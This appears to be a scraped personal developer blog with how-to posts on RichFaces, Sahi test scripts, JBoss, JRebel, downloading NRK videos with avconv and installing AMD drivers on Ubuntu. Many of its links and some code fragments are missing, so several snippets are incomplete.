activeModalPanel is the modalpanel id that will get closed when you press the escape key

explanation of if(a && (a != "wait")):

during my testing of the code, i found out that the functions removeModal and addModal get run, no matter what, the first time ActiveModal gets initialized, and the "a" parameter is undefined (nothing). also, sometimes during processing, the parameter in to the functions has the value "wait". so, i don't want to do anything in the functions unless the parameter exists AND it isn't equal to "wait".

template code (or at the top of your xhtml/jsf page)

<script type="text/javascript" src="/scripts/keyboard-controls.js"></script>


<rich:hotKey key="esc" handler="if(ActiveModal.activeModalPanel){Richfaces.hideModalPanel(ActiveModal.activeModalPanel);}"/>

rich:modalPanel attributes onshow and onhide

<rich:modalPanel onshow="ActiveModal.addModal(this)" onhide="ActiveModal.removeModal('x')" id="transportAgreementDetails">

explanation of ActiveModal.removeModal('x'):

the parameter ('x') can be anything you want because the removeModal function simply removes the modal panel id at the beginning of the array (index 0), but we need some kind of text string sent in so we know that the function was called by the user and that it wasn't called during initialization of the ActiveModal object AND that it isn't a "wait" (see my explanation above).


how to generically find "this" richfaces rich:modalPanel's jsf non-html-rendered id, i.e. the id in the jsf/xhtml code (-"Container")

when this code is run in a browser:
<rich:modalPanel id="changePwdPanel" onshow="alert(">

it outputs the following:

and the resulting html code looks like this:
<div id="changePwdPanel" style="display: none;"><input autocomplete="off" id="changePwdPanelOpenedState" name="changePwdPanelOpenedState" type="hidden" /><div class="rich-modalpanel " id="changePwdPanelContainer" ...

if you want to get the actual modalPanel coded id, i.e. changePwdPanel, you can e.g. do this:

<rich:modalPanel id="changePwdPanel" onshow="alert((,''))">


how to download/save videos from NRK in ubuntu 13.04

title in norwegian: hvordan laste ned og lagre videoer fra NRK Nett TV

here's a video of my friend Yassin on NRK:

here's what i had to do to save a copy of that video:
go here:

choose "Link til avspilling med HLS", then click "Lagre"

go to the video link again:

click the Play icon

the page will redirect to this URL:,141,316,563,1266,2250,.mp4.csmil/master.m3u8

save that page/file (ctrl+s), then open the downloaded file  (master.m3u8) in a text editor (e.g. geany)

the file contents will look like this:

#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=212000,RESOLUTION=320x180,CODECS="avc1.66.30, mp4a.40.2",141,316,563,1266,2250,.mp4.csmil/index_0_av.m3u8?null=
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=387000,RESOLUTION=480x270,CODECS="avc1.66.30, mp4a.40.2",141,316,563,1266,2250,.mp4.csmil/index_1_av.m3u8?null=
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=712000,RESOLUTION=640x360,CODECS="avc1.77.30, mp4a.40.2",141,316,563,1266,2250,.mp4.csmil/index_2_av.m3u8?null=
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1410000,RESOLUTION=960x540,CODECS="avc1.77.30, mp4a.40.2",141,316,563,1266,2250,.mp4.csmil/index_3_av.m3u8?null=

the URL for the highest quality version of the video is the one that ends in "index_4_av.m3u8" (you can also see that in the comment above it, it says 1280x720).

now make sure you have avconv installed from ubuntu's repos:
sudo apt-get install avconv

the portion of the news about Yassin begins at 04 minutes and 11 seconds and lasts for 5 minutes. I don't want the whole news report which is like 15 minutes long, so run the following command in a terminal window:

cd Downloads

avconv -i ",141,316,563,1266,2250,.mp4.csmil/index_4_av.m3u8" -ss 00:04:11 -t 00:05:00 -codec copy yassin.mp4

when the downloading and converting is done, the resulting video file will now be in your Downloads folder:

if you want to download the whole video just cut out the time parameter parts, e.g.:
avconv -i ",141,316,563,1266,2250,.mp4.csmil/index_4_av.m3u8" -codec copy yassin.mp4

special thanks to this thread:

note: avconv is the "new" replacement for the old program ffmpeg

UPDATE 20131031

i was getting some errors when trying to download a specific video encoded with h264:
[NULL @ 0x123d480] non-existing PPS referenced
[h264 @ 0x1241300] non-existing PPS 0 referenced
[h264 @ 0x1241300] decode_slice_header error
[h264 @ 0x1241300] no frame!

so i installed some extra packages:
sudo apt-get install libx264-dev libfaac-dev librtmp-dev libass-dev

then specified the video and audio codecs to use, like this:
avconv -i,141,316,563,1266,2250,.mp4.csmil/index_4_av.m3u8 -c:v libx264 -c:a libvo_aacenc knaus2.mp4

then it worked :)


sahi - how to access a specific table cell using regex when the cell doesn't have an id

here's some relevant, rendered HTML from a richfaces rich:dataTable for the image above:

<tbody id="invFormremoveTRQPanel:removeTrqPnlTbl:tb">
    <tr class="rich-table-row rich-table-firstrow row1">
        <td id="invFormremoveTRQPanel:removeTrqPnlTbl:0:j_id159" class="rich-table-cell wsS ">
            <input type="checkbox" name="invFormremoveTRQPanel:removeTrqPnlTbl:0:j_id161"></input>
        <td id="invFormremoveTRQPanel:removeTrqPnlTbl:0:j_id162" class="rich-table-cell wsS ">


the green code represents the first row's second column. the red code is a random id string generated by richfaces because in the xhtml/jsf file, there was no id set for the cell:

    <f:facet name="header">#{msg['label.rcvrRefId']}</f:facet>
    <h:outputText value="#{trq.getRcvrRefId()}" />


here's one way to access the element using regexp:

invFormremoveTRQPanel:removeTrqPnlTbl:0 == the row identifier
/.../ == regular expression code
* == match any auto-generated id string, e.g. j_id162, this will match every column in the first row
so to specify which column (0-based) we want we write [1]

sahi - how to get tomorrow's date in the format dd.MM.yyyy

i needed a simple way to generate a date string so i could set a rich:calendar textbox input field using a sahi script, so here's sample code for one solution to generating tomorrow's date as a text string:
var $formattedDate = java.util.Calendar.getInstance();
$formattedDate.add(java.util.Calendar.DAY_OF_YEAR, 1);
$formattedDate = new java.text.SimpleDateFormat("dd.MM.yyyy").format($formattedDate.getTime());

which will give output like:

it's cool how you can call java directly in the sahi code :)

thanks to the post how to add the specific number of days to a date which was obtained


sahi - regex how to specify an indeterminate row number for a textfield element in a table row column

i have a datatable that expands with a new row every time i click an "add new row" button, and only the new row will have an editable textfield input, so to generalize the sahi script code you can use a regex, so it will match whichever single row has a visible textfield input:
_setValue(_textbox(/detailForm:agrSCFactorsTable:\d{1}:SCF_nameIn/), $name);

\d{1} means a digit (number) with 1 in length, i.e. 0-9.

so that regex will match elements like:
_setValue(_textbox(/detailForm:agrSCFactorsTable:0:SCF_nameIn/), $name);
_setValue(_textbox(/detailForm:agrSCFactorsTable:3:SCF_nameIn/), $name);
_setValue(_textbox(/detailForm:agrSCFactorsTable:7:SCF_nameIn/), $name);


[SOLVED] sahi "for loop" not working

i noticed on the sahi "for loops" documentation page that the for loop variable "i" wasn't being declared with a dollar sign ( $ ):

for (var i=0; i<links.length; i++){

so when i wrote a for loop in one of my tests i decided to insert a dollar sign for consistency purposes (so all variables used the dollar sign):
 function setTimeFutureHours($hrs) {
    for(var $i=0; i<$hrs; $i++) {

but when i ran the code, the for loop never ran. i quickly realized that i hadn't put a dollar sign next to the "i" in the middle, so i changed it and it ran perfectly:

function setTimeFutureHours($hrs) {
    for(var $i=0; $i<$hrs; $i++) {

just out of curiosity, i tried the code without dollar signs next to the "i", like the documentation said and that also worked; you just have to be consistent and either use dollar signs on all of the variables in the for loop phrase or don't use dollar signs ;)

sahi - how to set a richfaces rich:inputNumberSpinner value and verify it got set correctly

i have the following form composed of a rich:calendar and 2 rich:inputNumberSpinner elements:

<a4j:form id="dateAndTimeSetterForm">
    <h:panelGrid id="dateAndTimeSetter" style="border:1px" columns="1">
        <h:panelGrid style="border:0px;width:100%;align:center" columns="1">
                locale="#{userMenuBean.userLocale}" direction="auto"
                id="dateSetterCal" popup="false" showInput="true"
                showApplyButton="false" datePattern="#{msg['calendar.datePattern']}" cellWidth="24px"
                cellHeight="22px" style="width:200px;align:center;">
                <a4j:support event="onchanged" ajaxSingle="true"
                    reRender="hourSpinner, minuteSpinner" />
        <h:panelGrid style="border:0px;width:100%;align:center;"
            <h:outputLabel style="align:right"
                value="#{msg['label.hour']}" />
                value="#{msg['label.minute']}" />
            <rich:inputNumberSpinner id="hourSpinner" minValue="0"
                style="align:right" maxValue="23" inputSize="2"
                value="#{listTRQsDataModel.requestHandler.hourForTimeInEditPosition}" />
            <rich:inputNumberSpinner id="minuteSpinner" minValue="0"
                maxValue="59" inputSize="2"
                value="#{listTRQsDataModel.requestHandler.minuteForTimeInEditPosition}" />

        <h:panelGrid style="border:0px;align:center;" columns="1">
            <a4j:commandButton id="setTimeBtn" style="align:center"
                oncomplete="if (#{facesContext.maximumSeverity==null}) #{rich:component('time_panel_trq')}.hide()"
                value="#{msg['label.setTime']}" />

which looks like this in a browser:

the following sahi code ...
* opens this date+time setting modal panel
* gets the current hour value (originally "12")
* clicks the "up arrow" icon for hour ("Time" in norwegian) to make the hour "13"
* verifies that the hour got set correctly
* then clicks the "set time" submit button ("Sett tid" in norwegian)
* then verifies that the modal panel is closed--the submit button is no longer visible

function set_trq_pickup_time_future_1_hr() {

    _wait(10000, _isVisible(_button("dateAndTimeSetterForm:setTimeBtn")));

    var $currentHour = _fetch(_textbox("dateAndTimeSetterForm:hourSpinner").value);

// clicks the first hour spinner based on class--there are two and "up 1 hour" is on top, i.e. first, so "down 1 hour" would be "rich-spinner-btn rich-spinner-button[1]"
    _click(_imageSubmitButton("rich-spinner-btn rich-spinner-button", _in(_table("dateAndTimeSetterForm:hourSpinnerButtons"))));

    var $newHour = ($currentHour+1);

    _wait(_textbox("dateAndTimeSetterForm:hourSpinner").value == $newHour);


    _wait(10000, _isVisible(_button("dateAndTimeSetterForm:setTimeBtn")) == false);


[SOLVED] jboss 4.2.2.GA - character encoding problem when getting URL/URI parameter value

we have some code that gets a URL parameter value:
String savedSearchName = context.getExternalContext().getRequestParameterMap().get("name");

the URL looks like this:

so even though the parameter looked like it had the right norwegian encoding (testsøk1), when we got the parameter value for "name", in java, the String savedSearchName had the following value:

to fix this we had to change the following file:

and add a URIEncoding attribute to the <Connector> tag for the HTTP/1.1 protocol:

<Service name="jboss.web">
    <Connector port="9001"
        disableUploadTimeout="true" />

you have to restart your jboss sever for the change to take effect. after restart, the norwegian characters were correct in java:


sahi - how to get/fetch html table cell (td) content value

to get a table cell contents/value use .innerHTML

the variable $rpNameRow1, after the _fetch() call, will contain the value "My Name":

    var $rpNameRow1 = _fetch(_cell("routeplanListForm:routeDetailTable:0:rpName").innerHTML);
    _click(_link("Navn", _in(_tableHeader("routeplanListForm:routeDetailTable:rpNameheader"))));
    _wait(10000, _cell("routeplanListForm:routeDetailTable:0:rpName").innerHTML != $rpNameRow1);

sahi - how to get/fetch html text (textbox) input tag value

to get a textbox's value use .value
the variable $street is sent in with a value of "My Street 1":

    _setValue(_textbox("editTAParty:street"), $street);
    _wait(10000, _textbox("editTAParty:street").value == $street);

sahi - how to get/fetch html select input tag selected value and/or selected index number

to get a select list's selected index use .options.selectedIndex

UPDATE 20130902: .value didn't seem to work

if you want the selected option's value (label) use .value _getSelectedText(_select("editTAParty:role"))

which will give you the label text as it is seen in the browser, e.g.: "Despatch"

the variable $role is sent in with a value of 1:

    _setSelected(_select("editTAParty:role"), $role);
    _wait(10000, _select("editTAParty:role").options.selectedIndex == $role);

so if your code isn't using index numbers for setting the select, then use _getSelectedText instead:
_wait(10000, _getSelectedText(_select("editTAParty:role")) == $role);

sahi - use "wait" ( _wait ) to make your scripts *faster*

yes it sounds odd, but using _wait appropriately can actually make your scripts run faster, without having to worry whether any script command got skipped because something happened too fast (e.g. maybe because of ajax?) :)

i've found that if i don't insert _wait calls in sahi scripts, then sometimes certain operations get skipped, so my code used to consist of some guesstimated wait periods for certain operations, like this:
    _setValue(_textbox("editTAParty:contact"), $email);
    _setSelected(_select("editTAParty:Party_languageIN"), $language);

but if you use the advanced _wait functionality, then nothing will get skipped and your scripts will run as fast as possible. here's an example:
    _setValue(_textbox("editTAParty:contact"), $email);
    _wait(10000, _textbox("editTAParty:contact").value == $email);
    _setSelected(_select("editTAParty:Party_languageIN"), $language);
    _wait(10000, _select("editTAParty:Party_languageIN").options.selectedIndex == $language);

basically, these wait calls mean to proceed with execution of the next step immediately as soon as the condition is fulfilled (or after 10 seconds--whichever comes first).

10000 means 10 seconds (10000 milliseconds). i set a high number since i don't anticipate any operation in the app that i'm testing to ever taking longer than 10 seconds.

UPDATE 20130902

just tested a full implementation of this on a script with 320 steps and reduced the run time from 7:30 to 1:47 :)

sahi - how to print javascript timestamp date and time in console

var $now = new Date().getFullYear() + "." + new Date().getMonth() + "." + new Date().getDate() + " " + new Date().getHours() + ":" + new Date().getMinutes() + ":" + new Date().getSeconds() + "." + new Date().getMilliseconds();


In the grey "Sahi Controller" console you'll see something like this:
_debug("2013.7.30 12:1:20.777");


jrebel - xhtml files not getting reloaded after change/edit

yesterday i was changing some xhtml files while running my app in debug mode in eclipse, but the changes weren't showing up in the browser and i wasn't seeing any reloading msgs in the console, although my jrebel.log file was showing that changes had been registered:
2013-08-22 13:30:49.979 INFO  [IntelliJFSNotify] Event 'CHANGE' on: '/home/me/workspaceEclipse/myapp/WebContent/webcomponents/fragments/listTransportRequests.xhtml'

i found this post today JRebel, JSF and automatic reload of xhtml files so i opened my web.xml file to see if these elements were there:

and they were, except the values were different:

when i changed them to 0 and true, then saved the web.xml file, i suddenly saw some output on the console that one of my xhtml files had been changed. then i changed the values back to their original values and jrebel was still reloading them. i stopped the server, rebuilt my project, redeployed in debug and it was still working.... so i'm a little confused...

at least it's working now though :)

ubuntu 13.04 - how to install proprietary amd/ati graphics drivers on Sony Vaio VPCSE laptop

after 4 hours of endless attempts at trying dozens of people's tutorials, i finally was able to install the amd catalyst drivers on my sony vaio vpcse ( Radeon HD 6600M/6700M/7600M Series ) using a ppa and some additional necessary tasks. here's what i did:

open a terminal

first uninstall any fglrx drivers that are installed:
sudo sh /usr/share/ati/
sudo apt-get remove --purge fglrx fglrx_* fglrx-amdcccle* fglrx-dev*

(if it's not installed or the sh script isn't there, then don't worry)

install the fglrx ppa:
sudo add-apt-repository ppa:xorg-edgers/ppa
sudo apt-get update
sudo apt-get install fglrx

check if this folder exists:
ls /usr/lib64

A. if /usr/lib64 doesn't exist, run this:
sudo mkdir /usr/lib64
sudo mkdir /usr/lib64/fglrx
sudo cp -dR /usr/lib/fglrx/* /usr/lib64/fglrx

B. if /usr/lib64 does exist, run this:
sudo mkdir /usr/lib64/fglrx
sudo cp -dR /usr/lib/fglrx/* /usr/lib64/fglrx

the flags -dR mean to copy all files, directories and symlinks, exactly as they are in the source folder you're copying from--everything gets preserved and you get an exact copy.

sudo aticonfig --adapter=all --initial


you should be able to login but unity will probably not work

open a terminal

GET UNITY TO WORK (i think this is the right order, IIRC)
gsettings reset org.compiz.core:/org/compiz/profiles/unity/plugins/core/ active-plugins

dconf reset -f /org/compiz/ && setsid unity


richfaces rich:inputNumberSpinner - how to disable form submit on enter key press

this tutorial has a quite complicated/lengthy solution, which involves recompiling source code: How to disable form submit on Enter and fix for RichFaces rich:inputNumberSpinner

my solution is way simpler:
open richfaces-ui-3.3.3.Final.jar in an archive manager

then open this file in a text editor (double click the file):

beginning around line 15151, you'll see the following lines:

change the second line so it looks like this:
}if(this.edit.form){/*COMMENTED OUT BY ME: this.edit.form.submit()*/

when you save the file ui.pack.js in the text editor, the archive manager should ask you if you want to update the jar file, choose Update

clear your browser cache, stop your app server, rebuild your project, then restart your server, then test it out in the browser and you should now be able to hit the enter key in a rich:inputNumberSpinner without submitting the form :)

see also: How to stop page refresh when hit enter button from rich:inputNumberSpinner field?

and here's the bug registered in the jboss issue tracker:
inputNumberSpinner: autosubmit of a form while pressing the ENTER KEY, validation is discarded and modal panel is closed